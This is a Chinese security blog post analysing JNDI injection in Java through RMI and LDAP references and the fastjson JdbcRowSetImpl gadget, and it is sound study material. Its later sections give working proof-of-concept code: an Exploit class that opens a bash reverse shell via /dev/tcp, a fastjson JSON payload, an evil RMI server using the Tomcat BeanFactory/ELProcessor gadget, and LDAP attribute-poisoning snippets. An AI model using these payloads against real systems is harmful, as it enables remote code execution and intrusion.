Learning Man's Blog

JNDI/LADP 学习

字数统计: 4.3k阅读时长: 20 min
2019/03/10 Share

简介

RMI

Remote Method Invocation 是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。在RMI中对象是通过序列化方式进行编码传输的。

JNDI

JNDI即Java Naming and Directory Interface,翻译成中文就Java命令和目录接口,2016年的blackhat大会上web议题重点讲到,JNDI提供了很多实现方式,主要有RMI,LDAP,CORBA等。

JNDI提供了一个统一的外部接口,底层SPI则是多样的。在使用JNDIReferences的时候可以远程加载外部的对象,即实现factory的初始化。

远程类文件读取设置

Provider Property to enable remote class loading Security Manager enforcement
RMI java.rmi.server.useCodebaseOnly = false
(default value = true since JDK 7u21)
Always
LDAP com.sun.jndi.ldap.object.trustURLCodebase = true
(default value = false)
Not enforced
CORBA Always

codebase

  • exploit.jndiUrl, defaults to ldap://localhost:1389/obj
  • exploit.codebase, defaults to http://localhost:8080/
  • exploit.codebaseClass, defaults to Exploit
  • exploit.exec, defaults to /usr/bin/gedit
  1. exploit.jndiUrl的意思,攻击者要传递的jndi地址,比如rmi的,ldap的。
  2. exploit.codebase的意思,攻击者提供的http服务器,提供下载远程class的地址。
  3. exploit.codebaseClass的意思,攻击者在http服务器提供下载类的名称。默认的名称为Exploit,因此生成的poc的就会访问 http://localhost:8080/Exploit.class
  4. exploit.exec的意思,攻击者执行的恶意命令

动态协议转换

在初始化配置 JNDI 设置时可以预先指定其上下文环境(RMI、LDAP 或者 CORBA 等):

Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);

而在调用lookup()或者search()时,可以使用带 URI 动态的转换上下文环境,例如上面已经设置了当前上下文会访问 RMI 服务,那么可以直接使用 LDAP 的 URI 格式去转换上下文环境访问 LDAP 服务上的绑定对象:

ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");

之所以InitialContext.lookup()函数允许我们通过使用绝对地址来实现动态转换协议地址

public Object lookup(String name) throws NamingException {
    return getURLOrDefaultInitCtx(name).lookup(name);
}

getURLOrDefaultInitCtx()函数返回一个基于提供的 URL 协议解析的或 DefaultInitCtx 的上下文(通过修改 URL 即可不必修改协议保持默认使用的协议,仍可指向我们自己的服务器)

protected Context getURLOrDefaultInitCtx(Name paramName) throws NamingException {

    // 修改 URL 或者协议使其*需重新生成上下文*,跳过此判断
    if (NamingManager.hasInitialContextFactoryBuilder()) {
        return getDefaultInitCtx();
    }
    if (paramName.size() > 0){
        String str1 = paramName.get(0);
        String str2 = getURLScheme(str1);   // 解析 URL 协议
        if (str2 != null) {
            // 如果存在指定的 URL 协议,则尝试获取对应的上下文环境
            Context localContext = NamingManager.getURLContext(str2, this.myProps);
            if (localContext != null) {
                return localContext;
            }
        }
    }

    return getDefaultInitCtx();
}

举个例子:即使 Context.PROVIDER_URL 已被设定为一个可控的本地服务器地址,文件名采用相对路径(eg. “foo”实际为”rmi://secure-server:1099/foo”),攻击者可通过控制lookup中的参数值为绝对路径,覆盖默认的 Context.PROVIDER_URL 来指向攻击者控制的服务器

// Create the initial context
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://secure-server:1099");

Context ctx = new InitialContext(env);
// Look up in the local RMI registry
Object local_obj = ctx.lookup(<attacker controlled>);

虽然服务器预期类似于名为”foo”的相对路径调用,攻击者可通过提供绝对路径指向一个完全不同的 RMI 注册表,或使用不同的协议来覆盖 Context.INITIAL_CONTEXT_FACTORY 选项

  • rmi://attacker-server/bar
  • ldap://attacker-server/cn=bar,dc=test,dc=org
  • iiop://attacker-server/bar

lookup 函数

以传入绝对路径为例

import javax.naming.Context;
import javax.naming.InitialContext;
public class JNDIClientTest {
    public static void main(String[] args) throws Exception {
        String uri = "rmi://localhost:1097/Object";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    }
}

调用链

lookup:114, RegistryContext (com.sun.jndi.rmi.registry)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:411, InitialContext (javax.naming)
main:7, JNDIClientTest

关键代码,var2为通过ReferenceWrapper_Stub获取到的包装类,最后调用decodeObject

// com.sun.jndi.rmi.registry.RegistryContext#lookup(javax.naming.Name)
public Object lookup(Name var1) throws NamingException {
    if (var1.isEmpty()) {
        return new RegistryContext(this);
    } else {
        Remote var2;
        try {
            var2 = this.registry.lookup(var1.get(0)); // RegistryImpl_Stub[UnicastRef [liveRef: [endpoint:[127.0.0.1:1099](remote),objID:[0:0:0, 0]]]]
        } catch (NotBoundException var4) {
            ...
        }

        return this.decodeObject(var2, var1.getPrefix(1));  // Here
    }
}

跟入decodeObject,调用var1的getReference函数获取wrappee属性值

// com.sun.jndi.rmi.registry.RegistryContext#decodeObject
private Object decodeObject(Remote var1, Name var2) throws NamingException {
    try {
        Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
        return NamingManager.getObjectInstance(var3, var2, this, this.environment);
    }
    ...
}

跟入getObjectInstance,ref.getFactoryClassName获取目标类名,带入getObjectFactoryFromReference准备获取目标工厂类实例

// javax.naming.spi.NamingManager#getObjectInstance
public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception
{

    ...

    // Use reference if possible
    Reference ref = null;
    if (refInfo instanceof Reference) {
        ref = (Reference) refInfo;
    } 
    ...

    Object answer;

    if (ref != null) {
        // Here
        String f = ref.getFactoryClassName();
        if (f != null) {
            // if reference identifies a factory, use exclusively

            factory = getObjectFactoryFromReference(ref, f);
            if (factory != null) {
                return factory.getObjectInstance(ref, name, nameCtx, environment);
            }
    ...
}

getObjectFactoryFromReference,先在本地CLASSPATH中查找目标类,没有的话即通过codebase(远程代码库)获取目标工厂类,最后返回实例化

// javax.naming.spi.NamingManager#getObjectFactoryFromReference
static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName) throws IllegalAccessException,
    ...
    // Try to use current class loader
    try {
         clas = helper.loadClass(factoryName);
    } 
    ...
    // Not in class path; try to use codebase
    String codebase;
    if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) {
        try {
            clas = helper.loadClass(factoryName, codebase);
        } 
        ...
    }

    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

loadClass 函数

// com.sun.naming.internal.VersionHelper12#loadClass(java.lang.String, java.lang.String)
/**
 * @param className A non-null fully qualified class name.
 * @param codebase A non-null, space-separated list of URL strings.
 */
public Class loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException {

    ClassLoader parent = getContextClassLoader();
    ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent);

    return loadClass(className, cl);
}

因为newInstance必然只会调用无参构造方法,所以该class需要有定义一个无参的构造方法或者是根本无构造方法(在无任何构造方法的情况下会隐式生成一个无参构造方法), 如果没有无参构造方法newInstance就直接出错了

一般在这里就可以通过触发构造方法执行payload

攻击方式

RMI

JNDI Peference

攻击图解

为了不需要调用特定函数(eg. 如上面sayHello,因在实战中不方便获取调用函数名),采用初始化时执行payload;同时初始化需要在目标服务器上执行,势必需要让目标服务器加载恶意class,需要配合 JNDI Peference 触发动态转换,加载目标类

JNDI Reference Payload

如果远程获取 RMI 服务上的对象为Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化

Reference 中几个比较关键的属性:

  1. className - 远程加载时所使用的类名
  2. classFactory - 加载的 class 中需要实例化类的名称
  3. classFactoryLocation - 提供 classes 数据的地址可以是 file/ftp/http 等协议

例如这里定义一个 Reference 实例,并使用继承了 UnicastRemoteObject 类的 ReferenceWrapper 包裹一下实例对象,使其能够通过 RMI 进行远程访问:

Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:12345/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

当有客户端通过lookup("refObj")获取远程对象时,获得到一个 Reference 类的存根,由于获取的是一个 Reference 实例,客户端会首先去本地的CLASSPATH去寻找被标识为refClassName的类,如果本地未找到,则会去请求http://example.com:12345/refClassName.class动态加载 classes 并调用insClassName的构造函数。

RMI Remote Object Payload

RMI 远程对象接口、实现方法可以被任何客户端通过http ftp smb服务进行修改或上传,远程对象的codebase在远程服务器中通过java.rmi.server.codebase进行描述,RMI 服务器在注册表中注册远程对象并绑定其对应的name,在 RMI 注册表中codebase被用于远程对象引用(remote object reference)的注释

如果远程获取 RMI 服务上的对象为目标类,即可在 RMI 服务器 CLASSPATH 查找到(本地查找优先于远程搜索),会尝试读取本地目标类,之后真正执行该函数是在远程服务端,执行完成后会将结果序列化返回给应用端

例下面:使用 JNDI 获取远程 sayHello() 函数并传入 “RickGray” 参数进行调用

通过getObjectInstance实现JNDI注入

紧跟着上面lookup的代码,在获取目标工厂类实例之后,会调用getObjectInstance函数

之前JNDI注入都是依靠于getObjectFactoryFromReference时,如果目标classpath里找不到指定的class时,会从远程codebase中下载class字节码,然后实例化
在出现了trustCodebaseURL的限制之后 已经不再能够从codebase中下载字节码,但是可以loadClass目标classpath下存在的类

如果能在一些常用的库中找到有getObjectInstance方法,并且在该方法可操控执行恶意代码,可以避免加载远程恶意类文件

// javax.naming.spi.NamingManager#getObjectInstance
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
    return factory.getObjectInstance(ref, name, nameCtx, environment);
}

原文作者找到了继承ObjectFactory的org.apache.naming.factory.BeanFactory,重载实现getObjectInstance方法

public class BeanFactory
    implements ObjectFactory {

    /**
     * Create a new Bean instance.
     *
     * @param obj The reference object describing the Bean
     */
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                    Hashtable environment)
        throws NamingException {

        if (obj instanceof ResourceRef) {

            try {

                Reference ref = (Reference) obj;
                String beanClassName = ref.getClassName();
                Class beanClass = null;
                ClassLoader tcl =
                    Thread.currentThread().getContextClassLoader();
                if (tcl != null) {
                    try {
                        beanClass = tcl.loadClass(beanClassName);
                    } catch(ClassNotFoundException e) {
                    }
                } else {
                    try {
                        beanClass = Class.forName(beanClassName);
                    } catch(ClassNotFoundException e) {
                        e.printStackTrace();
                    }
                }

                ...

                BeanInfo bi = Introspector.getBeanInfo(beanClass);
                PropertyDescriptor[] pda = bi.getPropertyDescriptors();

                Object bean = beanClass.getConstructor().newInstance();

                /* Look for properties with explicitly configured setter */
                RefAddr ra = ref.get("forceString");
                Map forced = new HashMap<>();
                String value;

                if (ra != null) {
                    value = (String)ra.getContent();
                    Class paramTypes[] = new Class[1];
                    paramTypes[0] = String.class;
                    String setterName;
                    int index;

                    /* Items are given as comma separated list */
                    for (String param: value.split(",")) {
                        param = param.trim();
                        /* A single item can either be of the form name=method
                         * or just a property name (and we will use a standard
                         * setter) */
                        index = param.indexOf('=');
                        if (index >= 0) {
                            setterName = param.substring(index + 1).trim();
                            param = param.substring(0, index).trim();
                        } else {
                            setterName = "set" +
                                         param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                                         param.substring(1);
                        }
                        try {
                            forced.put(param,
                                       beanClass.getMethod(setterName, paramTypes));
                        } catch (NoSuchMethodException|SecurityException ex) {
                            throw new NamingException
                                ("Forced String setter " + setterName +
                                 " not found for property " + param);
                        }
                    }
                }

                Enumeration e = ref.getAll();

                while (e.hasMoreElements()) {

                    ra = e.nextElement();
                    String propName = ra.getType();

                    if (propName.equals(Constants.FACTORY) ||
                        propName.equals("scope") || propName.equals("auth") ||
                        propName.equals("forceString") ||
                        propName.equals("singleton")) {
                        continue;
                    }

                    value = (String)ra.getContent();

                    Object[] valueArray = new Object[1];

                    /* Shortcut for properties with explicitly configured setter */
                    Method method = forced.get(propName);
                    if (method != null) {
                        valueArray[0] = value;
                        try {
                            method.invoke(bean, valueArray);
                        } catch (IllegalAccessException|
                                 IllegalArgumentException|
                                 InvocationTargetException ex) {
                            throw new NamingException
                                ("Forced String setter " + method.getName() +
                                 " threw exception for property " + propName);
                        }
                        continue;
                    }
...
  • 目标类
  • 通过解析ref.get(“forceString”),如果forceString属性值含有=号,左侧为属性值,右侧为该属性值对应setter方法;如果没有=号,即大写首位并在开头添加set拼接为setter方法。然后将参数、setter方法作为键值放入HashMap中
  • 除forceString之外的属性进入 while 循环,如果属性类型不是factory or scope or auth or forceString or singleton时,会从 HashMap 中查找相应setter方法并进行发射调用

但还要注意到,代码里限制了被调用函数只能有一个String参数

Class<?>[] paramTypes = new Class[]{String.class};
beanClass.getMethod(propName, paramTypes)

原文作者在这里选用javax.el.ELProcessor类, 调用eval方法进行el注入实现RCE

public Object eval(String expression) {
    return this.getValue(expression, Object.class);
}

LADP

JNDI Peference

攻击图解

和 RMI & JNDI Peference 相似,区别是 LADP 为目录服务,且允许对各个被存储对象分配属性

关键函数

// com.sun.jndi.ldap.LdapCtx#c_lookup
var3 = Obj.decodeObject((Attributes)var4);
return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
// com.sun.jndi.ldap.Obj#decodeObject

static Object decodeObject(Attributes var0) throws NamingException {
    String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

    try {
        Attribute var1;
        // javaSerializedData
        if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
            ClassLoader var3 = helper.getURLClassLoader(var2);
            return deserializeObject((byte[])((byte[])var1.get()), var3);
        }
        // javaRemoteLocation 
        else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
            return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
        } else {
        // objectClass (JNDI References)
            var1 = var0.get(JAVA_ATTRIBUTES[0]);
            return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
        }
    } catch (IOException var5) {
        NamingException var4 = new NamingException();
        var4.setRootCause(var5);
        throw var4;
    }
}

调用链

exec:347, Runtime (java.lang)
:4, Exploit
forName0:-1, Class (java.lang)
forName:278, Class (java.lang)
loadClass:72, VersionHelper12 (com.sun.naming.internal)
loadClass:87, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:188, DirectoryManager (javax.naming.spi)

   - decodeObject:234, Obj (com.sun.jndi.ldap)

c_lookup:1086, LdapCtx (com.sun.jndi.ldap)
p_lookup:544, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:411, InitialContext (javax.naming)
main:7, Test

Serialized Object

Serialized and Marshalled object graphs use java serialization to get the binary representation that
gets stored in the “javaSerializedData” attribute defined in the Java Schema.
The following code in Obj.decodeObject(Attributes attrs) will deserialize the contents of the
“javaSerializedData” attribute if present

被序列化的或对象图进行序列化而获取二进制描述,从而判断是否存在javaSerializedData标志,如果被标记则会对内容进行反序列化

-w265

javaCodeBase属性可以在反序列化期间指明目标类文件的 URL 地址,攻击者可通过控制恶意class文件的readObject()函数在反序列化中执行恶意payload,但是还需要jdk中设置com.sun.jndi.ldap.object.trustURLCodebase=true

由此引出通过CLASSPATH绕过信任类检测,PDF:The perils of Java deserialization

Remote Location

和上面类似,通过判断javaRemoteLocation标志,然后进行decodeRmiObject

else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
    return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
// com.sun.jndi.ldap.Obj#decodeRmiObject
private static Object decodeRmiObject(String var0, String var1, String[] var2) throws NamingException {
    return new Reference(var0, new StringRefAddr("URL", var1));
}

CORBA

IOR

相关利用

fastjson

JNDI & JdbcRowSetImpl Gadgets

FastJson将JSON字符串反序列化到指定的Java类时,会调用目标类的getter、setter等方法。

JdbcRowSetImpl类的setAutoCommit()会调用connect()函数

public void setAutoCommit(boolean var1) throws SQLException {
    if(this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        // 触发点
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }

}

connect()函数如下:

private Connection connect() throws SQLException {
    if(this.conn != null) {
        return this.conn;
    } else if(this.getDataSourceName() != null) {
        try {
            InitialContext var1 = new InitialContext();
            // 触发点
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
            return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();
        } catch (NamingException var3) {
            throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
        }
    } else {
        return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;
    }
}

connect()会调用InitialContext.lookup(dataSourceName),这里的参数dataSourceName是在setter方法setDataSourceName(String name)中设置的。所以在FastJson反序列化漏洞过程中,我们可以控制dataSourceName的值,也就是说满足了JNDI注入利用的条件

Poc

marshalsec 创建监听一个 LDAP Server

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://X.X.X.X:8888/\#Exploit

Exploit.java(需自行编译为class文件放置8888端口服务器目录下)

public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec(new String[]{"bash","-c","bash -i >& /dev/tcp/<ip>/<port> 0>&1"});
        } catch (Exception e) {}
    }
}

payload

{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://X.X.X.X:1389/Exploit","autoCommit":true}

getObjectInstance & JNDI 注入

条件:

  1. 需要el依赖包
  2. 控制lookup参数值

版本:

application verson dependency
Tomcat > 8.5 tomcat-jsp-api

其他应用及版本未知

Poc

在恶意服务器上运行编译后的class文件

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;

public class EvilRMIServerNew {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);

        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")"));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

控制目标服务器lookup参数

new InitialContext().lookup("rmi://127.0.0.1:1097/Object")

由于org.apache.naming.factory.BeanFactory拓展了javax.naming.Reference,只有当org.apache.naming.factory.BeanFactory被调用用于从Reference中获取真的(因为 RMI 注册表已经被覆盖)目标对象时,才会触发 RCE

// 本地测试代码
import javax.naming.Context;
import javax.naming.InitialContext;
public class Test {
    public static void main(String[] args) throws Exception {
        String uri = "rmi://127.0.0.1:1099/Object";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    }
}

LDAP Java Serialization

原文作者提供的代码

其他可见:http://www.yulegeyu.com/2018/12/04/JNDI-Injection-WITH-LDAP-Unserialize/

System.out.println("Poisoning LDAP user");
BasicAttribute mod1 = new
BasicAttribute("javaCodebase",attackerURL));
BasicAttribute mod2 = new
BasicAttribute("javaClassName","DeserPayload"));
BasicAttribute mod3 = new BasicAttribute("javaSerializedData",
serializedBytes));
ModificationItem[] mods = new ModificationItem[3];
mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1);
mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2);
mods[2] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3);
ctx.modifyAttributes("uid=target,ou=People,dc=example,dc=com", mods);

LDAP Remote Location

原文作者提供的代码

System.out.println("Poisoning LDAP user");
BasicAttribute mod1 = new BasicAttribute("javaRemoteLocation",
"rmi://attackerURL/PayloadObject");
BasicAttribute mod2 = new BasicAttribute("javaClassName",
"PayloadObject");
ModificationItem[] mods = new ModificationItem[2];
mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1);
mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2);
ctx.modifyAttributes("uid=target,ou=People,dc=example,dc=com", mods);

参考资料

  1. 廖新喜: http://xxlegend.com/2017/12/06/基于JdbcRowSetImpl的Fastjson%20RCE%20PoC构造与分析/
  2. ※ 深入理解JNDI注入与Java反序列化漏洞利用: https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
  3. BlackHat-PPT: https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
  4. ※ BlackHat-WP: https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
  5. https://github.com/mbechler/marshalsec
  6. https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review
  7. ※ The perils of Java deserialization: https://community.microfocus.com/t5/Security-Research-Blog/The-perils-of-Java-deserialization/ba-p/246211?attachment-id=62785

利用 getObjectInstance 实现 JNDI 注入:

  1. Exploiting JNDI Injections in Java: https://www.veracode.com/blog/research/exploiting-jndi-injections-java
  2. http://www.yulegeyu.com/2019/01/11/Exploitng-JNDI-Injection-In-Java/

其他:

  1. Java RMI: https://www.cnblogs.com/xt0810/p/3640167.html
CATALOG
  1. 简介
    1. RMI
    2. JNDI
    3. codebase
    4. 动态协议转换
    5. lookup 函数
  2. 攻击方式
    1. RMI
      1. JNDI Peference
        1. 攻击图解
      2. JNDI Reference Payload
      3. RMI Remote Object Payload
        1. 通过getObjectInstance实现JNDI注入
    2. LADP
      1. JNDI Peference
        1. 攻击图解
      2. Serialized Object
      3. Remote Location
    3. CORBA
      1. IOR
  3. 相关利用
    1. fastjson
      1. JNDI & JdbcRowSetImpl Gadgets
      2. Poc
    2. getObjectInstance & JNDI 注入
      1. Poc
    3. LDAP Java Serialization
    4. LDAP Remote Location
  4. 参考资料